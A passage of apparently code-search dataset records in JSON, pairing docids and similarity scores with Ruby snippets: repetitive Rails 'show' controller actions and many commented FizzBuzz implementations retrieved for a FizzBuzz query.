"text": "def show\n @post442 = Post442.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post442 }\n end\n end",
"title": ""
},
{
"docid": "1f2543da7c4b317973cd22e063347dab",
"score": "0.60644466",
"text": "def show\n @post359 = Post359.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post359 }\n end\n end",
"title": ""
},
{
"docid": "0dd486781ac39d6c4506655b5781c345",
"score": "0.6061948",
"text": "def show\n @post91 = Post91.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post91 }\n end\n end",
"title": ""
},
{
"docid": "d76d35736b69f5283a0c28678bd58f4d",
"score": "0.60616064",
"text": "def show\n @post298 = Post298.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post298 }\n end\n end",
"title": ""
},
{
"docid": "b537a4c1df1c1385d3342e0acca57e1d",
"score": "0.6059849",
"text": "def show\n @post37 = Post37.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post37 }\n end\n end",
"title": ""
},
{
"docid": "651725ac5ce4bd981014d6f963548891",
"score": "0.6058685",
"text": "def posts_get_by_date(parameters = {})\n parameters.merge!(:meta => 'yes')\n response = posts(\"get\", parameters)\n Post.import_from_xml(response.body)\n end",
"title": ""
},
{
"docid": "fa9188d66e59eb7dbb6bfbd8d97e8e6f",
"score": "0.6058376",
"text": "def show\n @post270 = Post270.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post270 }\n end\n end",
"title": ""
},
{
"docid": "261577393c9d2c60a8345fe952981b49",
"score": "0.60579836",
"text": "def show\n @post198 = Post198.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post198 }\n end\n end",
"title": ""
},
{
"docid": "65ac720bb2c5f19b32162e7d48f5574d",
"score": "0.60538757",
"text": "def show\n @post211 = Post211.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post211 }\n end\n end",
"title": ""
},
{
"docid": "e2ceda7d4a986ecfb5b6e3a48403ac09",
"score": "0.60537004",
"text": "def rss\n @answers = Answer.find :all, :order => 'answers.created_at DESC', :limit => 20\n\n respond_to do |format|\n format.xml\n end\n end",
"title": ""
},
{
"docid": "9cfaed5276d80384fe4ac8f66cc8829e",
"score": "0.6050795",
"text": "def show\n @post124 = Post124.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post124 }\n end\n end",
"title": ""
},
{
"docid": "d23d9252ed52435e927a82970a836f56",
"score": "0.60493207",
"text": "def show\n @post38 = Post38.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post38 }\n end\n end",
"title": ""
},
{
"docid": "cca4572663d24868541b0bbda11d7f20",
"score": "0.60469764",
"text": "def show\n @post111 = Post111.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post111 }\n end\n end",
"title": ""
},
{
"docid": "8fa76c46fd449179aa749afa6af46032",
"score": "0.604528",
"text": "def show\n @post177 = Post177.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post177 }\n end\n end",
"title": ""
},
{
"docid": "85da8ec0af3ec1cdc5619aaca0b8cdba",
"score": "0.60452074",
"text": "def show\n @post89 = Post89.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post89 }\n end\n end",
"title": ""
},
{
"docid": "db92326bd33d29d119dd62c1597e2dd0",
"score": "0.60394466",
"text": "def new\n @post35 = Post35.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post35 }\n end\n end",
"title": ""
},
{
"docid": "88c5dc9663c1ece1f136f733fb8e4771",
"score": "0.60383075",
"text": "def show\n @post463 = Post463.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post463 }\n end\n end",
"title": ""
},
{
"docid": "34f0b0f526a53dee68c3fdd1895d0347",
"score": "0.6037133",
"text": "def show\n @post62 = Post62.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post62 }\n end\n end",
"title": ""
},
{
"docid": "7910df6bd5e9a02ba736826525308be9",
"score": "0.6034515",
"text": "def show\n @post102 = Post102.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post102 }\n end\n end",
"title": ""
},
{
"docid": "f57f8d195e21d87b0cc179930b6e6214",
"score": "0.6034345",
"text": "def show\n @post79 = Post79.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post79 }\n end\n end",
"title": ""
},
{
"docid": "db79afe0e55508b409accb0621ed374d",
"score": "0.6030763",
"text": "def show\n @post465 = Post465.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post465 }\n end\n end",
"title": ""
},
{
"docid": "668748556b055535abd99b7a165c7f78",
"score": "0.6030651",
"text": "def show\n @post113 = Post113.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post113 }\n end\n end",
"title": ""
}
] |
0b802d5c6df15984500db065d93c8f61
|
FizzBuzz Creates a method called "fizzbuzz" and declares three variables called "num_1", "num_2", and "range".
|
[
{
"docid": "c6f248bea3398d20dd250a8d9ec58a09",
"score": "0.74709827",
"text": "def fizzbuzz(num_1, num_2, range)\n# Do i for all the numbers in a range from 1 to the value that will be assigned to the variable \"range\".\n (1..range).each do |i|\n# If i divided by the value assigned to num_1 is equal to 0 and i divided by the value assigned to num_2 is equal to zero then print \"fizzbuzz\".\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n# If i divided by the value assigned to num_1 is equal to zero print \"fizz\".\n elsif i % num_1 === 0\n puts 'fizz'\n# If i divided by the value assigned to num_2 is equal to zero print \"buzz\".\n elsif i % num_2 === 0\n puts 'buzz'\n# If none of the previous conditions are true print i.\n else\n puts i\n# Ends the if/else statement.\n end\n# Ends the argument.\n end\n# Ends the method.\nend",
"title": ""
}
] |
[
{
"docid": "99a37bc8a307402d7ed5ce31f9632a09",
"score": "0.8217714",
"text": "def fizz_buzz number\nend",
"title": ""
},
{
"docid": "99a37bc8a307402d7ed5ce31f9632a09",
"score": "0.8217714",
"text": "def fizz_buzz number\nend",
"title": ""
},
{
"docid": "7a5f4ec82b40b6e0412ac57791ffc5e0",
"score": "0.81207097",
"text": "def fizz_buzz number \nend",
"title": ""
},
{
"docid": "4f0bef8ad79ac0ebb16a9a95d4db7c8b",
"score": "0.78812116",
"text": "def fizzbuzz(start_num, end_num)\n start_num.upto(end_num) do |num|\n if num % 15 == 0\n print \"FizzBuzz \"\n elsif num % 5 == 0\n print \"Buzz \"\n elsif num % 3 == 0\n print \"Fizz \"\n else\n print \"#{num.to_i} \"\n end\n end\nend",
"title": ""
},
{
"docid": "9b1633ed91f001284f093e2caf624bfd",
"score": "0.78496414",
"text": "def fizzbuzz(num_1, num_2, range)\n#Iterate the process begining at the value \"1\" up to the range argument's value.\n#A new variable i is established, i starts as \"1\" and goes up by 1 up until the range value is hit.\n (1..range).each do |i|\n#Establish a conditional: If i's value can be divided by num1's value with a remainder\n#of 0 AND i's value can also be divided by num2's value with a remainder of 0, print the string 'fizzbuzz' to the terminal\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n#If both prongs of the above conditional are not met, but i's value can be divided by num1's value with a remainder 0 then...\n elsif i % num_1 === 0\n#...print the string 'fizz' to the terminal\n puts 'fizz'\n#If neither of the two previous conditionals are met, but i's value can be divided by num2's value with a remainder 0 then...\n elsif i % num_2 === 0\n#...print the string 'fizz' to the terminal\n puts 'buzz'\n#If none of those conditionals were satisfied then...\n else\n#...print the value of i to the terminal\n puts i\n#end the conditional\n end\n#end the iteration\n end\n#end the method\nend",
"title": ""
},
{
"docid": "8114b54e9a178d7d06d21b1ac90cebfb",
"score": "0.7800048",
"text": "def fizzbuzz(num_1, num_2, range)\n #Take all integers between 1 and the range arguments and does and using\n #if/elsif/else statements makes a function\n (1..range).each do |i|\n #Takes the integers from line 48 and divides them by the num_1 argument,\n #then takes the remainder, and sees if they equal 0, does this with num_2\n #argument as well, and if both are true runs the next line\n if i % num_1 === 0 && i % num_2 === 0\n #If the above is true, prints to terminal string 'fizzbuzz'\n puts 'fizzbuzz'\n #If the above code was not true and did not run, takes the integers from\n #line 48 and once again sees if the remainder of the argument num_1 ONLY\n #is equal to 0, if true, runs the next line\n elsif i % num_1 === 0\n #If the above is true, prints to terminal string 'fizz'\n puts 'fizz'\n #If both of the above code was not true and did not run, takes the integers\n #from line 48 and once again sees if the remainder of the argument num_2\n #ONLY is equal to 0, if true, runs the next line\n elsif i % num_2 === 0\n #If the above is true, prints to terminal string 'buzz'\n puts 'buzz'\n #If none of the above code was true for any argument, runs the code below\n else\n #If the above is true, prints the integer to terminal\n puts i\n #Ends the if/elsif/else function\n end\n #Ends the function that gave all integers between 1 and argument 'range' and\n #applied them to the if/elsif/else function\n end\n#Ends the function that defined what fizzbuzz did\nend",
"title": ""
},
{
"docid": "1ab1b0f31220a83444b56a640daa805c",
"score": "0.779806",
"text": "def fizz_buzz(min, max)\n (min..max).each do |number|\n puts fizz_buzz_calculator(number)\n end\nend",
"title": ""
},
{
"docid": "a833f322990886f9d5aad6a07fb3b493",
"score": "0.7787238",
"text": "def fizzbuzz(num_1, num_2, range)\n# Iterate through each number in a range from 1 to whatever number is input for\n# the 'range' argument, and do something for each number.\n (1..range).each do |i|\n# Use an if statement that executes code if the conditional is true. If i is\n# divisible by num_1 and num_2, then execute the code below. If not true, move\n# on to the elsif statement.\n if i % num_1 === 0 && i % num_2 === 0\n# Print 'fizzbuzz' if the conditional above is true.\n puts 'fizzbuzz'\n# Use an elsif statement that executes code if the conditional is true. If i is\n# divisible by num_1, then print 'fizz'. If not true, move on to next elsif statement.\n elsif i % num_1 === 0\n puts 'fizz'\n# Use an elsif statement that executes code if the conditional is true. If i is\n# divisible by num_2, then print 'buzz'. If not true, move on to else statement.\n elsif i % num_2 === 0\n puts 'buzz'\n# If none of the above conditional statements are true, print i.\n else\n puts i\n# End the if/elsif/else statement.\n end\n# End the for loop.\n end\n# End the fizzbuzz method definition.\nend",
"title": ""
},
{
"docid": "cb79e06a900a644cb2994b90227ef72f",
"score": "0.77136976",
"text": "def fizzbuzz(num_1, num_2, range) #defines a method called fizzbuzz which takes 3 parameters (num_1, num_2, range)\n (1..range).each do |i| #iterates `i` over numbers 1 through a number set by parameter `range`\n if i % num_1 === 0 && i % num_2 === 0 #begins if...end loop with conditional that if the modulo of num_1 into `i` AND the modulo of num_2 into `i` both equal zero\n puts 'fizzbuzz' #then \"fizzbuzz\" will be sent to terminal\n elsif i % num_1 === 0 #if the first step is false AND the modulo of num_1 into `i` is 0 then\n puts 'fizz' #\"fizz\" will be printed to terminal\n elsif i % num_2 === 0 #if the first `if` AND the first `elsif` are false AND the modulo of num_2 into `i` is 0 then\n puts 'buzz' #\"buzz\" will be printed to terminal\n else #if all the above are false\n puts i #then variable `i` will be printed to terminal\n end #ends if statement from line 30\n end #ends .each do from line 29\nend",
"title": ""
},
{
"docid": "cb10fd893ffb74fee56c8ca28d476169",
"score": "0.76916885",
"text": "def fizzbuzz(num1,num2)\n for i in num1..num2 do\n if i%15 == 0\n puts \"FizzBuzz\"\n elsif i%3 == 0\n puts \"Fizz\"\n elsif i%5 == 0\n puts \"Buzz\"\n else\n puts i\n end\n end\nend",
"title": ""
},
{
"docid": "ae44c6a587029130feaca0d325221b38",
"score": "0.76837456",
"text": "def fizzbuzz(num_1, num_2, range)\n #calls alll numbers in range to each do variable |i|\n (1..range).each do |i|\n # begins if else statement if i can be divided by num_1 and if i divided by num_2\n if i % num_1 === 0 && i % num_2 === 0\n # 'fizzbuzz' is printed to terminal\n puts 'fizzbuzz'\n #if the above is not true i will be checked if divisble by num_1\n elsif i % num_1 === 0\n # if true 'fizz' will be printed to the terminal\n puts 'fizz'\n # checks if i can be divided by num_2\n elsif i % num_2 === 0\n # if true 'buzz' is printed to the terminal\n puts 'buzz'\n #if none of the above is true\n else\n # the variable i is printed to the terminal\n puts i\n #ends if else statement\n end\n #ends range.each do\n end\n #ends method\nend",
"title": ""
},
{
"docid": "fa939c01933a6ff74a98a888f114dd9f",
"score": "0.76364183",
"text": "def fizzbuzz(num_1, num_2, range)\n # 1..range will compute from the numer 1 to the variable range. .each loops this varaible while do tells it to loop. The |i| is place holder for indexes\n (1..range).each do |i|\n # The if statemenet is stating if i has a remindar equal to num_1 that is equal to 0 AND if i has a remindar equal to num_2 that is equal to zero\n if i % num_1 === 0 && i % num_2 === 0\n # print fizzbuzz if the given condition above is true\n puts 'fizzbuzz'\n # elsif is stating that if the first condition isn't met, then print this method. This elsif method states if i has a remindar that is equal to num_1 that is equal to 0\n elsif i % num_1 === 0\n # Print fizz if the given condition above is true\n puts 'fizz'\n # elsif is stating that if the given if statement is false, then go to the next elsif statement. This is stating if i has a remindar equal to num_2 that is equal to=\n elsif i % num_2 === 0\n # Print buzz if the given condition above is true\n puts 'buzz'\n # else is the final condition in a if, elsif statement. If the if and elsif statements are false, else will automatically be the final condition.\n else\n # print i if the given conditions of if, elsif are false\n puts i\n # ends the if, elsif, else fuctions\n end\n # ends the looping function\n end\n # ends the method function\nend",
"title": ""
},
{
"docid": "9a76e3c5cf706783937d1b53e5453f22",
"score": "0.7622861",
"text": "def fizz_buzz_to(limit)\n# This defines the variable \"fizz_buzz-to\" and explains in parenthesis what parameters can be passed into it.\n# In this case, there is only one parameter: limit.\n 1.upto(limit).each do |num|\n#Here we are using a loop to say that from integers 1 up to whatever number is placed in the parameter limit, do the following.\n puts fizzbuzz(num)\n#So for integers from 1 up until the established limit, run that number through the fizzbuzz variable and print the result (which, based on our case options, will be \"FizzBuzz\", \"Fizz\", \"Buzz\" or the number itself.)\n end\n #This ends the steps within the loop.\nend",
"title": ""
},
{
"docid": "fb020e94a3d82d56886b73ecd0a8c959",
"score": "0.7616306",
"text": "def fizzbuzz(num_1, num_2, range)\n#create a loop that iterates from 1 up to the value of the argument range\n# variable i gets assigned another value after each loop\n (1..range).each do |i|\n# in each iteration, if i is divided by num_1 and has 0 remainder (modulo)\n# AND if i is divided by num_2 and has 0 remainders, 'fizzbuzz' will print out\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n# if condition is not met from above, then if only i divided by num_1 has 0\n#remainder, then only print out 'fizz'\n elsif i % num_1 === 0\n puts 'fizz'\n# Or if only i divided by num_2 has 0 remainder, then only print out 'buzz'\n elsif i % num_2 === 0\n puts 'buzz'\n# if the three conditions above are not true then just print out value of i\n else\n puts i\n end\n #iterate the loop to the next value in the range\n end\n # when all values within the range are finished, end the loop\nend",
"title": ""
},
{
"docid": "e95922df83d1f137a7f401c3629e2d21",
"score": "0.7611742",
"text": "def fizzbuzz(num_1, num_2, range)\n#Repeats the following code for the duration of the range argument.\n (1..range).each do |i|\n#If i is divisible by both num_1 and num_2, it displays string fizzbuzz\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n#If i is divisible by num_1, it displays string fizz\n elsif i % num_1 === 0\n puts 'fizz'\n#If i is divisible by num_2, it displays string buzz\n elsif i % num_2 === 0\n puts 'buzz'\n#If i isn't divisible by either num_1 or num_2, it displays integer i\n else\n puts i\n#Ends the if, elsif, elsif, else check\n end\n#ends our loop\n end\n#ends our method\nend",
"title": ""
},
{
"docid": "d615023220ca1e3422a04b5db2716654",
"score": "0.757911",
"text": "def fizzbuzz\nend",
"title": ""
},
{
"docid": "9b34da8c1222aedce730c4bf54c950b3",
"score": "0.7577368",
"text": "def fizzbuzz(num_1, num_2, range)\n# iteration on the range of values from 1 to the end of the range for the given input.\n (1..range).each do |i|\n# creating a happy path where the given value divided by num 1 and num 2 returns a remainder of 0 in *both* cases\n if i % num_1 === 0 && i % num_2 === 0\n# puts \"fizzbuzz\" into the console, pretty straightforward\n puts 'fizzbuzz'\n# another path, covering if the value divided by num_1 returns a remainder of 0, but the value divided by num_2 does not\n elsif i % num_1 === 0\n# puts \"fizz\" into the console\n puts 'fizz'\n# another path, covering if the value divided by num_2 returns a remainder of 0, but the value divided by num_1 does not\n elsif i % num_2 === 0\n# puts \"buzz\" into the console\n puts 'buzz'\n# final path, covering if the value divided by num_1 or num_2 doeesn't return a non-zero remainder in either case. also a catch-all for some odd inputs\n else\n# puts the current integer into the console\n puts i\n# ends our if/else paths\n end\n# ends our iteration of the range of values\n end\n# ends our function\nend",
"title": ""
},
{
"docid": "03d009e41621e1792e4977b8ea9800d6",
"score": "0.7575942",
"text": "def fizzbuzz\n (1..100).each do |num|\n puts fizz_buzz(num)\n end\nend",
"title": ""
},
{
"docid": "4d4ad9e8a26648e96624a752752262fe",
"score": "0.75625336",
"text": "def fizzbuzz(num_1, num_2, range)\n # this line defines a for-loop that runs from 1 to the range parameter passed in\n # this will iterate on each number from 1 to the range parameter inclusive\n (1..range).each do |i|\n # this line defines an if statement with 3 conditional statements\n # 1) the remainder of the iterator number (i) / num_1 parameter is 0 (meaning even division)\n # 2) the remainder of the iterator number (i) / num_2 parameter is 0 (meaning even division)\n # 3) that both of the above conditionals are true, meaning i is evenly divided by both nums\n if i % num_1 === 0 && i % num_2 === 0\n # if the above conditionals are true this prints a string\n puts 'fizzbuzz'\n # this line will run if the previous if returns false. this defines a second\n # conditional that returns true if the remainder of i / num_1 parameter\n # is 0 (meaning even division)\n elsif i % num_1 === 0\n # if the above conditional is true this line prints a string\n puts 'fizz'\n # this line will run if the previous elsif returns false. this defines a third\n # conditional that returns true if the remainder of i / num_2 parameter\n # is 0 (meaning even division)\n elsif i % num_2 === 0\n # if the above conditional is true this line prints a string\n puts 'buzz'\n # if none of the above the above conditionals return true run line below\n else\n # this line prints the iterator number i\n puts i\n # this line ends the if-elsif-else block\n end\n # this line ends the for-loop\n end\n# this line ends the fizzbuzz method\nend",
"title": ""
},
{
"docid": "85582256d336c2fb5b267452affe2e16",
"score": "0.75461715",
"text": "def fizzbuzz(start_num, end_num)\n start_num.upto(end_num) do |num|\n if num % 5 == 0 && num % 3 == 0\n puts \"FizzBuzz\"\n elsif num % 3 == 0 then puts \"Fizz\"\n elsif num % 5 == 0 then puts \"Buzz\"\n else puts num\n end\n end\nend",
"title": ""
},
{
"docid": "8ee147c1a37e9783374302fc7d23259e",
"score": "0.7539758",
"text": "def fizzbuzz(starting, ending)\n (starting..ending).each do |num|\n if (num % 15).zero?\n p \"FizzBuzz\"\n elsif (num % 3).zero?\n p \"Fizz\"\n elsif (num % 5).zero?\n p \"Buzz\"\n else\n p num\n end\n end\nend",
"title": ""
},
{
"docid": "f8173bb1e41f0a4614490c880f9a652c",
"score": "0.7534815",
"text": "def fizzbuzz(num_1, num_2, range)\n# Defines a method that will test pass each of a range of integers to the if-statement.\n (1..range).each do |i|\n # Sets the condition to act on an integer if the it's multiple of num_1 and num_2.\n if i % num_1 === 0 && i % num_2 === 0\n # Prints string if the conditions are met.\n puts 'fizzbuzz'\n # Sets the condition to act on integer if it's a multiple of num_1\n elsif i % num_1 === 0\n # Prints string if the condition is met.\n puts 'fizz'\n # Sets the condition to act on integer if it's a multiple of num_2\n elsif i % num_2 === 0\n # Prints string if the condition is met.\n puts 'buzz'\n # Sets the condition if none of the previous conditions are met.\n else\n # Prints the integer from the range\n puts i\n # Closes if-statment\n end\n # Closes each method\n end\n# Closes method\nend",
"title": ""
},
{
"docid": "4a48054ae5651347c4560587ec1f181b",
"score": "0.75291026",
"text": "def fizzbuzz(num_1, num_2, range)\n # create loop and declare variable \"i\" assigned to integar 1, and repeat loop\n # for \"i\" on every subsequent integar until the 3rd argument \"range\" is reached\n (1..range).each do |i|\n # create if statement for if the modulus of variable i and argument num_1 is\n # equal to 0 and the modulus of variable i and num_2 is equal to zero,\n # print string \"fizzbuzz\"\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n # create else if statement for if the modulus of variable i and argument\n # num_1 is equal to 0, print string \"fizz\"\n elsif i % num_1 === 0\n puts 'fizz'\n # create else if statement for if the modulus of variable i and argument\n # num_2 is equal to 0, print string \"buzz\"\n elsif i % num_2 === 0\n puts 'buzz'\n # create else statement for all other conditions, and print \"i\"\n else\n puts i\n # end if statement\n end\n # end loop\n end\n# end method\nend",
"title": ""
},
{
"docid": "e22216685b22f420269bb4ac749a014d",
"score": "0.7522132",
"text": "def fizzbuzz(num_1, num_2, range)\n # create a for-loop that begins at 1 and runs until the range value is met\n (1..range).each do |i|\n # if the next value in the range is divided by num_1 and is mod 0 (no remainder)\n # and if the next value in the range is divided by num_2 and is mod 0\n if i % num_1 === 0 && i % num_2 === 0\n # display string\n puts 'fizzbuzz'\n # if the next value in the range is divided by num_1 and is mod 0\n elsif i % num_1 === 0\n # display string\n puts 'fizz'\n # if the next value in the range is divided by num_2 and is mod 0\n elsif i % num_2 === 0\n # display string\n puts 'buzz'\n else\n # if none of the previous statements are met, display the next value in the range\n puts i\n # end the if/else statement\n end\n # end the for-loop\n end\n# end the method\nend",
"title": ""
},
{
"docid": "510f44d49afb25db9d0e6089d3c8ca10",
"score": "0.74886805",
"text": "def fizzbuzz(start_num, end_num)\n (start_num..end_num).map do |n|\n if n % 3 == 0 && n % 5 == 0\n 'FizzBuzz'\n elsif n % 3 == 0\n 'Fizz'\n elsif n % 5 == 0\n 'Buzz'\n else\n n\n end\n end\nend",
"title": ""
},
{
"docid": "58cc5ecb54742988741b6d23de4af95d",
"score": "0.74802846",
"text": "def fizzbuzz(start_number, end_number)\n while start_number <= end_number do\n if start_number % 15 == 0\n puts \"FizzBuzz\"\n elsif start_number % 5 == 0\n puts \"Buzz\"\n elsif start_number % 3 == 0\n puts \"Fizz\"\n else\n puts start_number\n end\n start_number += 1\n end \n \nend",
"title": ""
},
{
"docid": "bc6bbd2100ff869f81191e2046922882",
"score": "0.7468219",
"text": "def fizzbuzz(num_1, num_2, range)\n # Invokes the for-loop method \"each\" to the interger range, ending the range\n # at the parameter \"range\" value.\n # Iterates the following if/elsif/else statement over each element in the index\n (1..range).each do |i|\n # Checks if the modulus of varriable \"i\" into the parameter \"num_1\" is the\n # same class as the interger 0\n # Checks if the modulus of varriable \"i\" into the parameter \"num_2\" is the\n # same class as the interger 0\n # The loogical AND operator checks if both === methods returned TRUE\n # If yes, returns TRUE. If no, returns FALSE.\n if i % num_1 === 0 && i % num_2 === 0\n # If the if statement returns TRUE, prints the string 'fizzbizz' to\n # the console\n # if the if statemnt returns FALSE, does nothing.\n puts 'fizzbuzz'\n # Calculates the modulus of the \"i\" variable into the paramater num_1.\n # Evaluates if the return to the above calculation is an interger.\n elsif i % num_1 === 0\n # If the elsif statement above returns TRUE, prints the string 'fizz' to\n # the console.\n # if the elsif statemnt above returns FLASE, does nothing.\n puts 'fizz'\n # Calculates the modulus of the \"i\" variable into the parameter num_2.\n # Evaluates if the return of the above calculation is an interger.\n elsif i % num_2 === 0\n # If the elsif statement above returns TRUE, prints the string 'buzz' to\n # the console.\n # if the eslif statemnt above returns FALSE, does nothing\n puts 'buzz'\n # If no nother if/els if statement has returned TRUE, this line will run\n else\n # Prints the current value of the varribale \"i\" to the console.\n puts i\n # Ends the if/elsif/els statements\n end\n # Ends the \".each\" method invocation\n end\n # Ends the definitions of the \"fizzbuzz\" method.\nend",
"title": ""
},
{
"docid": "953612a50b9ab308f9fd739c35c1ad83",
"score": "0.74410975",
"text": "def fizzbuzz(num_1, num_2, range)\n #set range of numbers for fizzbuzz\n (1..range).each do |i|\n #set initial condition\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n #set alternate condition\n elsif i % num_1 === 0\n puts 'fizz'\n #set alternate condition\n elsif i % num_2 === 0\n puts 'buzz'\n #set else condition\n else\n puts i\n #close if-statement\n end\n #close .each method\n end\n#close fizzbuzz\nend",
"title": ""
},
{
"docid": "8259a7430ea3328ac494e1abcd7fe673",
"score": "0.74326634",
"text": "def fizz_buzz \n\ti=1\n\t while i < 100 do\n\t \tif i%3 == 0 && i%5 == 0\n\t \t\tprint \"FizzBuzz\\n\"\n\t \telsif i%3 == 0\n\t \tprint \"fizz\\n\"\n\t \telsif i%5 == 0\n\t \t\tprint \"Buzz\\n\"\n\t \telse\n\t \tprint \"#{i}\\n\"\n\t \tend\n\t\ti += 1\n\t end\nend",
"title": ""
},
{
"docid": "f2a4ff93aecf9e418fe25f5b7a1e941b",
"score": "0.74052936",
"text": "def fizzbuzz(num_1, num_2, range)\n #defines new method fizzbuzz with 3 parameters\n (1..range).each do |i|\n #establishes range and loop. |i| iterates through the range.\n if i % num_1 === 0 && i % num_2 === 0\n #starts conditional with mathematical function\n puts 'fizzbuzz'\n #prints out fizzbuzz if the \"if\" conditions are met.\n\n elsif i % num_1 === 0\n #establishes another condition if above condition parameters not met.\n puts 'fizz'\n #prints out fizz if the preceding \"elsif\" condition is met.\n elsif i % num_2 === 0\n #establishes another condition if above condition parameters not met.\n puts 'buzz'\n #prints out buzz if the preceding \"elsif\" condition is met.\n else\n #establishes condition for any other situation that does not fulfill preceding conditional staements.\n puts i\n # prints out value of if the preceding condition is met.\n\n end\n #ends conditional\n end\nend",
"title": ""
},
{
"docid": "2b34b62860d4f4dace304f4a00f29683",
"score": "0.7397944",
"text": "def fizz_buzz_to(limit)\n#starting from the number 1 up to the variable limit, do something to each integer\n 1.upto(limit).each do |num|\n#print the output of the fizzbuzz method \n puts fizzbuzz(num)\n end\nend",
"title": ""
},
{
"docid": "8469e56f9e81885b63a7c450dbed86c3",
"score": "0.7394735",
"text": "def fizzbuzz(number)\n\t\tif number % 15 == 0\n\t\t\t\"fizzbuzz\"\n\t\telsif number % 3 == 0 \n\t\t\t\"fizz\"\n\t\telsif number % 5 == 0\n\t\t\t\"buzz\"\n\t\telse\n\t\t\tnumber\n\t\tend\nend",
"title": ""
},
{
"docid": "69026aad762323bd82fe06e741b67067",
"score": "0.73931605",
"text": "def fizzbuzz(n) n%15==0 ? \"FizzBuzz\" : n%3==0 ? \"Fizz\" : n%5==0 ? \"Buzz\" : nil end",
"title": ""
},
{
"docid": "8f608c2cbfe0d7adc5255b1d084ed752",
"score": "0.7379532",
"text": "def fizz_buzz_for_range(from, to)\n results = []\n (from..to).each do |n|\n results.push fizz_buzz(n)\n end\n results\n end",
"title": ""
},
{
"docid": "c75d96a742c99b0c4d23a23f18705076",
"score": "0.73791695",
"text": "def fizzbuzz(start_num, end_num)\n for curr_num in (start_num..end_num)\n if curr_num % 15 == 0\n print \"FizzBuzz\"\n elsif curr_num % 5 == 0\n print \"Buzz\"\n elsif curr_num % 3 == 0\n print \"Fizz\"\n else\n print curr_num\n end\n print \", \" if curr_num < end_num\n end\n puts \"\"\nend",
"title": ""
},
{
"docid": "786728e77d7f99591937ce7e5e41c908",
"score": "0.737531",
"text": "def fizzbuzz(start_number, end_number)\n (start_number..end_number).each do |number|\n if number % 15 == 0 \n puts \"FizzBuzz\"\n elsif number % 5 == 0\n puts \"Buzz\"\n elsif number % 3 == 0\n puts \"Fizz\"\n else\n puts number\n end \n end\nend",
"title": ""
},
{
"docid": "1ec8e3355ef6063e38f72a83777a111b",
"score": "0.7361459",
"text": "def fizzbuzz(num1, num2)\n num1.upto(num2) do |num|\n fizzbuzz = num % 5 == 0 && num % 3 ==0\n fizz = num % 3 == 0\n buzz = num % 5 == 0 \n\n case \n when fizzbuzz then p \"FizzBuzz\"\n when fizz then p \"Fizz\"\n when buzz then p \"Buzz\"\n else p num\n end\n end\nend",
"title": ""
},
{
"docid": "070db9779fdb07cda3b1c670b9685941",
"score": "0.73592216",
"text": "def fizzbuzz(num_1, num_2, range)\n # starts a counter from 1 to range value\n # for each in that range, print the specified output on\n # these next conditions:\n (1..range).each do |i|\n\n # if the next number in the counter is divisible\n # by both num1 and num2 (with 0 remainder)\n if i % num_1 === 0 && i % num_2 === 0\n # print this specified output\n puts 'fizzbuzz'\n\n # if the next number in the counter is divisible by num1 (with 0 remainder)\n elsif i % num_1 === 0\n # print this specified output\n puts 'fizz'\n\n # if the next number in the counter is divisible by num2 (with 0 remainder)\n elsif i % num_2 === 0\n # print this specified output\n puts 'buzz'\n # if none of these conditions are met,\n else\n # print the next number in the range counter.\n puts i\n # end of conditionals\n end\n # end of each.do loop\n end\n # end of method\nend",
"title": ""
},
{
"docid": "d33e10d676122209c8f639a5b1657f7e",
"score": "0.7353771",
"text": "def fizzbuzz(a,b)\n numbers = (a..b).to_a\n\n numbers.each do |number|\n if number % 15 == 0\n puts \"FizzBuzz\"\n elsif number % 3 == 0\n puts \"Fizz\"\n elsif number % 5 == 0\n puts \"Buzz\"\n else\n puts number\n end\n end\nend",
"title": ""
},
{
"docid": "f8cc9cbf29b82a9fde5f85eb274da059",
"score": "0.73357475",
"text": "def fizzbuzz(num_1, num_2, range)\n # Execute the code for each element in the collection (in this case, a range of numbers)\n (1..range).each do |i|\n # if i mod num_1 is zero (i.e. there isn't a remainder when you divide i by num_1) AND i mod num_2 is zero, then execute the code\n if i % num_1 === 0 && i % num_2 === 0\n # outputs string\n puts 'fizzbuzz'\n # Else if i mod num_1 is zero, then execute the code\n elsif i % num_1 === 0\n # outputs a string\n puts 'fizz'\n # Else if i mod num_2 is zero, then execute the code\n elsif i % num_2 === 0\n # outputs a string\n puts 'buzz'\n # If none of the above are true, then execute the code\n else\n # outputs a variable\n puts i\n # end the conditional arguments\n end\n # end the iteration\n end\n# end the method definition\nend",
"title": ""
},
{
"docid": "7b9bde9495f8b7d37d15c00b9d8076e7",
"score": "0.73266894",
